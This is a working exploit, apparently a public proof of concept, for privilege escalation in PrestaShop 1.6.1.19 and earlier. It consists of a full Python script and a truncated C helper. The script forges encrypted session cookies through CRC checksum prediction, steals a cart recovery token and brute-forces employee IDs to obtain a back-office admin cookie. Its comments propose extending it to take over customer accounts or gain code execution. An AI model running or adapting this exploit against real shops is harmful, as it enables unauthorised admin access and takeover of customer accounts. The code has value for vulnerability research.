1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267 | <--- exploit.py --->
#!/usr/bin/env python3
# PrestaShop <= 1.6.1.19 Privilege Escalation
# Charles Fol
# 2018-07-10
#
# See https://ambionics.io/blog/prestashop-privilege-escalation
#
#
# The condition for this exploit to work is for an employee to have the same
# password as a customer. The exploit will yield a valid employee cookie for
# back office access.
#
# With a bit of tweaking, one can modify the exploit to access any customer
# account, get access to statistics, coupons, etc. or get an admin CSRF token.
#
# The attack may fail for a variety of reasons, including me messing up the
# padding somewhere. You might need to run the exploit several times.
#
# POSSIBLE IMPROVEMENTS
# - Improve the employee detection method
# - Implement the RCE step
#
# gcc -o crc_xor crc_xor.c
# vi exploit.py
# ./exploit.py
import requests
import urllib.parse
import binascii
import string
import itertools
import sys
import os
import re
# EDIT THIS
BASE_URL = 'http://vmweb3.corp.lexfo.fr/prestashop'
ADMIN_URL = 'http://vmweb3.corp.lexfo.fr/prestashop/admin2904aqvyb'
CUSTOMER_EMAIL = 'user@user.io'
CUSTOMER_PASSWORD = 'password2'
# Helpers
def http_session():
"""Every HTTP session will be spawned from this function. You can add a
proxy or custom rules.
"""
s = requests.Session()
#s.proxies = {'http': 'localhost:8080'}
return s
def bl(string):
"""¤ is 2 bytes long, which forces us to encode strings before using len().
"""
return len(string.encode())
def cs(blocks, offset=0):
"""Computes the full size of the cookie and returns it as a last 6-digit
block.
"""
if offset > 0:
offset -= SIZE_BLOCK
return [
'%06d' % (len(blocks) * SIZE_BLOCK + offset)
]
def xor(a, b):
"""XORs two strings and returns the result as bytes.
"""
return bytes(x ^ y for x, y in zip(a.encode(), b.encode()))
def pb(n, z=False):
"""Returns the padding required to align n with SIZE_BLOCK, and its position
in blocks. The z flag indicates if padding can be zero.
"""
padding = (- n) % SIZE_BLOCK
if z and padding == 0:
padding = SIZE_BLOCK
block = (n + padding) // SIZE_BLOCK
return padding, block
crc32 = binascii.crc32
SIZE_BLOCK = 8
BASE_BYTE = '`'
SIZE_LASTNAME_TO_FIRSTNAME = bl(
'¤customer_firstname|'
)
SIZE_FIRSTNAME_TO_PASSWD = bl(
'¤logged|1¤is_guest|¤passwd|'
)
SIZE_FIRSTNAME_TO_EMAIL = SIZE_FIRSTNAME_TO_PASSWD + bl(
'86df199881eaf8e9bb158c4f6b71ca0a¤email|'
)
# Variable: it is properly set in PrestaShop.find_alignment
SIZE_EMAIL_TO_END = bl(
'¤id_cart|12345¤id_guest|6¤'
)
ZERO_BLOCK = b'\x00' * SIZE_BLOCK
FIRSTNAME = BASE_BYTE * 32
CHARSET_LASTNAME = string.ascii_letters
EMAIL_DOMAIN = '@test.fr'
MAX_ID_CUSTOMER = 100
MAX_ID_EMPLOYEE = 100
# Exploit classes
class Exploitation:
"""Exploitation class. Handles the flow of the attack.
The main process is the following:
1. X = read(cart_id)
2. Change password to recover_cart_X
3. read(password)
-> we have a token to recover the cart, and therefore the customer
password
4. write(id_employee, Z)
5. write(id_customer, Y)
-> customer Y associated with cart_id X
6. Do the "Recover cart" procedure with the token
7. Access backoffice. If employee's Z password is the same as customer
Y, then we obtain backoffice access
"""
def __init__(self, session, email, password):
self.s = http_session()
self.ps = PrestaShop(session, email, password)
Cookie.ps = self.ps
def prelude(self):
self.ps.login()
self.ps.find_alignment()
self.ps.get_encrypted_numbers()
self.ps.build_cookies()
def run(self):
"""Runs the exploit.
"""
self.prelude()
id_cart = self.read_id_cart()
token = self.read_cart_token(id_cart)
self.get_employee_cookie_name()
self.get_write_blocks()
self.get_nb_employees()
for target_customer in range(1, MAX_ID_CUSTOMER):
if not self.associate_id_customer(target_customer):
break
for target_employee in range(1, self.nb_employees+1):
print("Trying customer[%d] employee[%d]" % (
target_customer, target_employee
))
cookie = self.write_id_employee(target_employee)
cookie = self.recover_cart(id_cart, token, cookie)
if cookie:
print('Success !!!')
print('Backoffice cookie:')
print('%s=%s' % (self.employee_cookie_name, cookie))
return
print('No employee has the same password as a customer')
def get_employee_cookie_name(self):
"""Obtains the name of the cookie for the backoffice.
"""
self.s.get(ADMIN_URL + '/index.php')
for c, v in self.s.cookies.items():
if c.startswith('PrestaShop-'):
self.employee_cookie_name = c
break
else:
raise ValueError('Unable to find customer cookie')
print('Employee cookie name: %s' % self.employee_cookie_name)
def get_nb_employees(self):
"""Obtains the number of employees by requesting pdf.php with a spoofed
id_employee cookie and iterating.
It breaks after the first failure, so there might be cases where it
fails to detect every employee.
"""
ecn = self.employee_cookie_name
for i in range(1, MAX_ID_EMPLOYEE):
cookie = self.write_id_employee(i)
self.s.cookies.clear()
self.s.cookies[ecn] = str(cookie)
r = self.s.get(ADMIN_URL + '/pdf.php', allow_redirects=False)
if r.status_code != 200:
break
self.s.cookies.clear()
self.nb_employees = i - 1
print('There are at least %d employees' % self.nb_employees)
def recover_cart(self, id_cart, token, cookie):
"""Performs the recover cart action with a cookie containing id_employee
so that the returned cookie contains a password hash and an employee ID.
This cookie can then be sent to the admin interface to verify it works.
"""
s = self.s
s.cookies.clear()
s.cookies[cookie.name] = str(cookie)
r = s.post(
BASE_URL + '/index.php',
data={
'token_cart': token,
'recover_cart': '%d' % id_cart
},
allow_redirects=False
)
s.cookies.clear()
s.cookies[self.employee_cookie_name] = r.cookies[cookie.name]
r = s.get(
ADMIN_URL + '/index.php?controller=AdminDashboard',
allow_redirects=False
)
if 'AdminLogin' not in r.headers.get('Location', ''):
return r.cookies[self.employee_cookie_name]
return None
def get_write_blocks(self):
"""Gets encrypted blocks for ¤id_employee and ¤id_customer.
"""
blocks = {}
# ...¤id_
cookie, block = self.pad_lastname(
SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_EMAIL +
bl(self.ps.email) +
bl('¤id_')
)
blocks['¤id_'] = cookie.blocks[block-1]
# customer and employee
cookie = self.ps.set_identity(
lastname=BASE_BYTE * self.ps.i + 'customeremployee'
)
blocks['customer'] = cookie.blocks[self.ps.p]
blocks['employee'] = cookie.blocks[self.ps.p + 1]
self.blocks = blocks
def get_pipe_number(self, n):
"""Get the encrypted block for |000000N.
"""
self.ps.set_identity(
email=('%07d' + EMAIL_DOMAIN) % n
)
cookie, block = self.pad_lastname(
SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_EMAIL - 1
)
return cookie.blocks[block]
def write_id_person(self, person, id):
"""Writes the given employee/customer ID in the cookie.
"""
plaintext = self.ps.email[-3:] + '¤id_%s|%07d' % (person, id)
blocks = [
self.blocks['¤id_'],
self.blocks[person],
self.get_pipe_number(id)
]
return self.ps.writable_cookie.write(plaintext, blocks)
def write_id_customer(self, id):
"""Writes id_customer for the given ID.
"""
return self.write_id_person('customer', id)
def write_id_employee(self, id):
"""Writes id_employee for the given ID.
"""
return self.write_id_person('employee', id)
def associate_id_customer(self, id):
"""Writes id_customer in our cookie in order to associate it to our cart
ID.
"""
s = self.s
# Write id_customer|X
cookie = self.write_id_customer(id)
s.cookies.clear()
s.cookies[cookie.name] = str(cookie)
# Associate the customer with the cart
r = s.get(
BASE_URL + '/index.php?controller=identity',
allow_redirects=False
)
matches = re.findall(
'id="(firstname|lastname|email)"[^>]+value="(.*?)"',
r.text
)
if not matches:
return False
matches = {k: v for k, v in matches}
print(
'Got customer account: {lastname} {firstname} [{email}]'.format(
**matches
)
)
return True
def read_id_cart(self):
"""Get id_cart's value by padding the cookie and reading the block.
"""
cookie, block = self.pad_lastname(
SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_EMAIL +
bl(self.ps.email) +
bl('¤id_cart|')
)
# Since the cart ID usually fits in one block, we need to bruteforce its
# size by changing the size of the cookie (last block contains size of
# cookie)
id_cart = None
for i in range(1, 10):
rcookie = self.ps.readable_cookie.extend(
[cookie.blocks[block]],
offset=i
)
try:
id_cart = rcookie.read()
except ValueError:
break
if not id_cart:
raise ValueError('Unable to read id_cart')
# ¤ is two bytes long, so the last character of the obtained id_cart
# will be \xc2, which we need to remove
id_cart = int(id_cart[:-1])
print('Cart ID: %d' % id_cart)
# The last try broke our cookie, and we're therefore logged out
self.ps.login()
return id_cart
def read_cart_token(self, id_cart):
"""Set password to recover_cart_X and read it.
"""
self.ps.set_identity(
passwd='recover_cart_%d' % id_cart
)
cookie, block = self.pad_lastname(
SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_PASSWD
)
rcookie = self.ps.readable_cookie.extend(cookie.blocks[block:block+4])
token = rcookie.read().decode()
print('Recover Cart token: %s' % token)
return token
def pad_lastname(self, offset):
"""Get a cookie where the value we want to read, which is offset bytes
away from the last character of the lastname, is aligned with SIZE_BLOCK
and therefore at the beginning of a block.
"""
padding, block = pb(bl(FIRSTNAME) + offset)
cookie = self.ps.set_identity(
lastname=BASE_BYTE * (self.ps.i + padding)
)
block += self.ps.p
return cookie, block
class CRCPredictor:
"""Implements the resolution of the CRC system of equation.
It works by iterating on a set of possible values.
For instance, let's say we obtained 3 as the last digit for cookie A.
The only possible CRCs at this point are the ones whose last digit is 3.
So, we store them.
The CRCs for the next cookie, B, must necessarily validate the equation:
CRC(B) = CRC(A) ^ CRC(A ^ B) ^ C (C is constant).
Therefore, we can update our stored checksums by xoring them with
CRC(A ^ B) ^ C. The stored checksums are now the candidates for B.
Now, let's say we obtain 5 as the last digit for B. We can throw away any
candidate which does not end with 5. By repeating this, we will reach a
valid checksum fairly quickly.
"""
ORDER = 10
def __init__(self, zeros, payload_size):
self.payloads = []
self.digits = None
self.candidates = None
self.zeros = b"\x00" * zeros
self.zero_crc = crc32(b"\x00" * (payload_size + zeros))
def purge_candidates(self, digits):
"""Removes candidates that do not end with given digits, and candidates
with less than 10 digits.
"""
ORDER = self.ORDER
candidates = self.candidates
if candidates is not None:
candidates = [
c for c in candidates if c % ORDER == digits
]
# The very first set of candidates (before the first char) is the
# entirety of [0, 2**32-1], which is way too big, so we only compute
# candidates after the two first digits have been set.
elif self.digits is None:
self.digits = digits
else:
print("Generating first solution range (takes some time) ...")
d = self.delta(self.payloads[-2], self.payloads[-1])
candidates = [
i ^ d for i in range(10 ** 9 + self.digits, 0x100000000, ORDER)
if (i ^ d) % ORDER == digits
]
self.candidates = candidates
def has_solution(self):
"""Returns true if the system has been solved.
"""
return self.candidates is not None and len(self.candidates) <= 1
def solution(self):
"""Returns the solution.
"""
return self.candidates[0]
def delta(self, p0, p1):
"""Computes CRC(A ^ B) ^ C.
"""
d = xor(p0, p1)
return crc32(d + self.zeros) ^ self.zero_crc
def update_candidates(self, payload):
"""Updates every candidate CRC for next payload by xoring them with
CRC(A ^ B) ^ C.
"""
ORDER = self.ORDER
self.payloads.append(payload)
if self.candidates is None:
return set(range(ORDER))
delta = self.delta(self.payloads[-2], self.payloads[-1])
self.candidates = [
crc ^ delta
for crc in self.candidates
]
# Only keep 10-digit values as other values are not used
self.candidates = [
c for c in self.candidates if c >= 1000000000
]
if not self.candidates:
raise ValueError('Checksum equations have no solution !')
# Return possible last digits for the new char
return set(c % ORDER for c in self.candidates)
class PrestaShop:
"""Contains several helpers for the interaction with the PrestaShop website
and cookie manipulation. Responsible for the read and write exploit
primitives.
"""
def __init__(self, session, email, password):
self.s = session
self.email = email
self.original_email = self.email
self.password = password
self.original_password = self.password
def post(self, url, **kwargs):
headers = kwargs.get('headers', {})
headers['Referer'] = url
return self.s.post(BASE_URL + url, **kwargs)
def cookie(self):
"""Extracts the cookie from the requests session.
"""
for c, v in self.s.cookies.items():
if c.startswith('PrestaShop-'):
return Cookie(c, v)
raise ValueError('Unable to find customer cookie')
def login(self):
"""Logs into PrestaShop using email/password.
"""
self.s.cookies.clear()
r = self.post(
'/index.php?controller=authentication',
data={
'email': self.email,
'passwd': self.password,
'back': 'identity',
'SubmitLogin': ''
},
allow_redirects=False
)
if not r.headers.get('Location', '').endswith('controller=identity'):
raise ValueError('Invalid credentials')
return self.cookie()
def set_identity(self, **data):
"""Changes the identity of the current user. This generally involves
changing firstname, lastname, and email.
"""
assert all(v != '' for v in data.values()), (
"Data contains an empty value"
)
if 'email' in data:
self.email = data['email']
if 'passwd' in data:
data['confirmation'] = data['passwd']
defaults = {
'id_gender': '1',
'firstname': FIRSTNAME,
'lastname': 'User',
'email': self.email,
'days': '1',
'months': '1',
'years': '1990',
'old_passwd': self.password,
'passwd': '',
'confirmation': '',
'submitIdentity': ''
}
defaults.update(data)
r = self.post(
'/index.php?controller=identity',
data=defaults
)
if 'passwd' in data:
self.password = data['passwd']
# If we changed the email or the password, we need to login again
if 'email' in data:
return self.login()
return self.cookie()
def find_alignment(self):
"""Obtains the position of the first repeated block of customer_lastname
along with its offset from the start of the string. Also, computes
SIZE_EMAIL_TO_END.
Example:
...customer_lastname|BBAAAAAAAAAAAAAAAA...
...----++++++++--------++++++++--------...
^^ Offset = 2
^ Position of the first repeated block
"""
cookie = self.set_identity(
lastname='A' * SIZE_BLOCK * 4
)
#print(setup_cookie)
last = None
for p, block in enumerate(cookie.blocks):
if block == last:
break
last = block
else:
raise ValueError('Unable to find identical blocks')
p = p - 1
print('First identical block:', p, block)
# Pad with Bs until the first block is modified to obtain alignment
for i in range(1, SIZE_BLOCK):
cookie = self.set_identity(
lastname=('B' * i) + ('A' * (SIZE_BLOCK * 4 - i))
)
if cookie.blocks[p] != block:
break
else:
raise ValueError('Unable to pad blocks')
i = i - 1
print('Offset from "customer_lastname|":', i)
self.p = p
self.i = i
# We also need to setup this length dynamically
global SIZE_EMAIL_TO_END
# Fix the id_connection problem
self.login()
# Grab 10 slightly different cookies, and get the longest one
max_size = max(
self.set_identity(lastname=c * 8).size()
for c in 'ABCDEFGHIJ'
)
SIZE_EMAIL_TO_END = (
max_size - (
self.p * SIZE_BLOCK - self.i +
8 +
SIZE_LASTNAME_TO_FIRSTNAME +
bl(FIRSTNAME) +
SIZE_FIRSTNAME_TO_EMAIL +
bl(self.original_email) +
bl('checksum|') +
10
)
)
print('Size from "email|" to end: %d' % SIZE_EMAIL_TO_END)
def get_encrypted_blocks(self, blocks):
"""Uses the email address to get a bunch of encrypted blocks.
"""
# Align the first character of the email with a block so that we obtain
# 15 blocks per try
# SIZE_CUSTOMER_LASTNAME_KEY_TO_EMAIL =
distance = - self.i + bl(
'¤customer_firstname|' + FIRSTNAME
) + SIZE_FIRSTNAME_TO_EMAIL
alignment, first_block = pb(distance)
first_block += self.p
cookie = self.set_identity(
lastname='A' * alignment,
email=''.join(blocks) + EMAIL_DOMAIN
)
return cookie.blocks[first_block:first_block+len(blocks)]
def get_encrypted_numbers(self, size=1):
"""Builds blocks starting with numbers and cipher them.
"""
encrypted_numbers = []
# 15 blocks can be ciphered at once:
# |email| = 128, |domain| = 8
# |email| - |domain| = 120
# 120 / SIZE_BLOCK = 15
step = 15
for i in range(0, 10 ** size, step):
# Convert the each of number into a block:
# 3 -> 03xxxxxx
numbers = [
str(i+n).rjust(size, '0').ljust(SIZE_BLOCK, 'x')
for n in range(step)
]
encrypted_numbers += self.get_encrypted_blocks(numbers)
self.reset()
self.encrypted_numbers = encrypted_numbers[:10 ** size]
def discover_crc(self):
"""By correctly padding the cookie, we can force the last digit of the
CRC to be in the last block, on its own. From this, and by using the
email field to translate, we can guess what this digit is by replacing
the last block by 0xxxxxx, 1xxxxxx, 2xxxxxx, etc. until the
cookie is accepted.
Then, we can slightly change the cookie's content, and obtain the last
digits for the new checksum. Due to the fact that CRC is affine, we can
build an equation on the last two digits of these checksums.
By repeating the operation, we get a set of equations, and solving it
reveals the value of the checksum.
Returns a magic cookie and its checksum.
"""
print('Discovering CRC checksum...')
lo_digits = 1
nb_requests = 0
encrypted_numbers = self.encrypted_numbers
# We only work with 10-digit checksums, and the probability of not
# getting any 10-digit checksum over 10 requests is equal to 4.68e-07,
# so we'll iterate 10 times and keep the longest cookie
max_size = 0
cookie_base = None
for i in range(10):
cookie_base = self.set_identity(
lastname=CHARSET_LASTNAME[i] * SIZE_BLOCK
)
if max_size < cookie_base.size():
max_size = cookie_base.size()
# Checksum alignment: build a cookie such that the last block contains
# lo_digits digits
alignment_checksum = ((lo_digits - max_size) % SIZE_BLOCK) + SIZE_BLOCK
s = http_session()
payload_size = 2
zeros = (
SIZE_LASTNAME_TO_FIRSTNAME +
bl(FIRSTNAME) +
SIZE_FIRSTNAME_TO_EMAIL +
bl(self.original_email) +
SIZE_EMAIL_TO_END
)
lastname = None
predictor = CRCPredictor(zeros, payload_size)
cache = {}
# On each iteration, we replace some chars and keep the same length,
# so that the affine property of CRC stays valid.
# We then update our candidates using CRCPredictor, until one value's
# left.
for payload in itertools.product(CHARSET_LASTNAME, repeat=payload_size):
payload = ''.join(payload)
lastname = 'A' * (alignment_checksum - payload_size) + payload
cookie = self.set_identity(
lastname=lastname
)
nb_requests += 1
# Only use 10-digit cookies
if cookie.size() % SIZE_BLOCK != lo_digits:
continue
candidates = predictor.update_candidates(payload)
# No point verifying if we have only one possibility, skip
if len(candidates) == 1:
predictor.purge_candidates(list(candidates)[0])
if predictor.has_solution():
break
continue
# If the single-digit block has already been seen, we can map it
# immediately
original_block = cookie.blocks[-2]
if original_block in cache:
n = cache[original_block]
print('%s %d %s !' % (payload, n, original_block))
predictor.purge_candidates(n)
continue
#print(cookie)
#print(candidates)
# Bruteforce the last digit of the checksum by replacing the last
# block by an encrypted number until it works
for n in candidates:
cookie.blocks[-2] = encrypted_numbers[n]
print('%s %d %s' % (payload, n, cookie.blocks[-2]), end='\r')
response = s.head(
BASE_URL + '/index.php?controller=identity',
headers={'Cookie': '%s=%s' % (cookie.name, cookie)}
)
nb_requests += 1
location = response.headers.get('Location', '')
if 'controller=authentication' not in location:
print('')
break
else:
# This should not happen
raise ValueError(
'Unable to guess digits for payload %r' % payload
)
cache[original_block] = n
predictor.purge_candidates(n)
cookie.blocks[-2] = original_block
if predictor.has_solution():
break
else:
# This should not happen
raise ValueError('Unable to compute checksum value')
checksum = predictor.solution()
print('Checksum discovered: %s (%d requests)' % (checksum, nb_requests))
return cookie, checksum
def build_cookies(self):
self.build_writable_cookie()
self.build_readable_cookie()
def build_writable_cookie(self):
"""Builds the first extendable cookie. It involves finding out the
checksum value, and building the standard ending blocks.
"""
cookie, checksum = self.discover_crc()
# ¤ custom
block_o = self.set_identity(
lastname='A' * (self.i + SIZE_BLOCK)
).blocks[self.p + 1]
# AAAAA¤ c
block_c = self.set_identity(
lastname='A' * (self.i + 5)
).blocks[self.p]
# hecksum|
offset = (
SIZE_LASTNAME_TO_FIRSTNAME +
bl(FIRSTNAME) +
SIZE_FIRSTNAME_TO_EMAIL +
bl(self.email) +
SIZE_EMAIL_TO_END +
bl('checksum|')
)
offset, _ = pb(offset)
block_s = self.set_identity(
lastname='A' * (self.i + offset)
).blocks[-4]
WritableCookie.blocks_checksum = [
block_o,
block_c,
block_s
]
self.writable_cookie = WritableCookie(
cookie.name, cookie.blocks, checksum
)
print('Generated extendable cookie.')
def build_readable_cookie(self):
"""To read arbitrary blocks we need to integrate the checksum and add
customer_firstname|... at the end.
"""
p = self.p
i = self.i
# AAA¤ customer_firstname|````````
# ++++++++--------++++++++--------
c0 = self.set_identity(
lastname='A' * (i + 3)
)
cookie = self.writable_cookie
self.readable_cookie = cookie.eat_checksum(3, c0.blocks[p:p+4])
print('Generated read cookie.')
def reset(self):
return self.set_identity(
email=self.original_email,
passwd=self.original_password
)
class Cookie:
"""Standard Prestashop cookie class. Splits the cookie into blocks.
"""
def __init__(self, name, value):
self.name = name
if isinstance(value, str):
self.check_consistent(value)
self.blocks = urllib.parse.unquote(value).split('=')
else:
self.blocks = value
def check_consistent(self, value):
"""Checks if the given string is a valid ECB cookie.
"""
value = urllib.parse.unquote(value)
if not re.match('([0-9A-Za-z/+]{11}=)*[0-9]{6}', value):
raise ValueError('Invalid cookie')
def clone(self):
return self.__class__(self.name, str(self))
def size(self):
"""Last block is the size of the whole payload.
"""
return int(self.blocks[-1])
def __str__(self):
return '='.join(self.blocks).replace('+', '%2B')
class WritableCookie(Cookie):
"""Cookie with known checksum. It can be extended by adding encrypted blocks
with a known plaintext, and recomputing the checksum.
"""
blocks_checksum = None
def __init__(self, name, blocks, checksum):
super().__init__(name, blocks)
self.checksum = checksum
def write(self, plaintext, blocks):
"""Adds blocks to current cookie, recomputes the checksum, and returns
the new cookie.
"""
assert bl(plaintext) == len(blocks) * SIZE_BLOCK, (
"Plaintext's size does not match blocks'"
)
# Compute the new checksum and get its encrypted blocks
plaintext = (
'ch' +
plaintext +
'¤custom' +
'AAAAA¤'
)
checksum = crc32(plaintext.encode(), self.checksum)
encrypted_checksum = self.ps.get_encrypted_blocks([
'%08d' % (checksum // 100),
'%02dxxxxxx' % (checksum % 100)
])
self.ps.reset()
# PLAINTEXT ORIGIN
# ¤ custom customer_firstname }
# AAAAA¤ c customer_firstname } blocks_checksum
# hecksum| discover }
# 12345678 email
# 90xxxxxx email
blocks = (
self.blocks[:-4] +
blocks +
self.blocks_checksum +
encrypted_checksum
)
blocks += cs(blocks, 2)
return WritableCookie(self.name, blocks, checksum)
def eat_checksum(self, rotations, read_blocks):
"""Adds a correction block to the cookie so that the checksum stays the
same, and the last key/value pair is freed. End represents the plaintext
that is meant to be added after the correction block.
Initial cookie end:
¤checksum|1234567890
New cookie end:
¤checksum|1234567890 ABCDEFGH
Where ABCDEFGH is the correction block.
New cookie end with added KVP:
¤checksum|1234567890 ABCDEFGH¤customer_lastname|ABC...
This allows to add another key/value pair, which won't be included in
the checksum computation, at the end of the cookie. This pair can be
anything and therefore include blocks with unknown plaintext.
"""
# Add a correction block such that the CRC of the cookie does not change
# Note: the last block is supposed to be padded with spaces, but the
# code is broken. It will add 1 space instead of 7 in our case, the
# rest will be null bytes.
added = 'checksum|%010d \x00\x00\x00\x00\x00\x00' % self.checksum
current_checksum = crc32(added.encode(), self.checksum)
# Goal: crc32(correction_block, current_checksum) == self.checksum
os.system('./crc_xor %u %u %u' % (
current_checksum,
self.checksum,
rotations
))
with open('./crc_xor_result', 'r') as h:
correction_block = h.read()
print('Got correction block: %s' % correction_block)
c = self.ps.set_identity(
lastname='A' * self.ps.i + correction_block
)
blocks = self.blocks[:-1] + [c.blocks[self.ps.p]] + read_blocks
blocks += cs(blocks)
return ReadableCookie(self.name, blocks)
class ReadableCookie(Cookie):
"""Cookie which ate its checksum. The last value can contain anything.
It can be used to decipher arbitrary data:
>>> rc.extend(['SUsidYDY']).read()
'hello123'
"""
def __init__(self, name, value):
super().__init__(name, value)
self.response = None
def extend(self, blocks, offset=0):
blocks = self.blocks[:-1] + blocks
blocks += cs(blocks, offset)
return self.__class__(self.name, blocks)
def request(self):
if not self.response:
s = http_session()
response = s.get(
BASE_URL + '/index.php?mobile_theme_ok=1',
headers={
'Cookie': '%s=%s' % (self.name, self)
}
)
self.response = response
return self.response
def read(self):
response = self.request()
match = re.search(b'>````````(.*?) A+..<', response.content, flags=re.S)
if not match:
raise ValueError('Unable to find firstname/lastname in page')
return match.group(1)
s = http_session()
exploit = Exploitation(
s,
CUSTOMER_EMAIL,
CUSTOMER_PASSWORD
)
try:
exploit.run()
except Exception as e:
raise e
finally:
exploit.ps.reset()
</--- exploit.py --->
<--- crc_xor.c --->
/*
gcc -O3 -o crc_xor crc_xor.c
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#define MIN_VALUE 65
#define MAX_VALUE 122
#define SIZE_CORRECTION_BLOCK 8
#define OUTPUT_FILE_FORMAT "./%s_result"
/* generated using the AUTODIN II polynomial
* x^32 + x^26 + x^23 + x^22 + x^16 +
* x^12 + x^11 + x^10 + x^8 + x^7 + x^5 + x^4 + x^2 + x^1 + 1
*/
char filename[32];
static const uint crc32tab[256] = {
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba,
0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3,
0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91,
0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,
0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec,
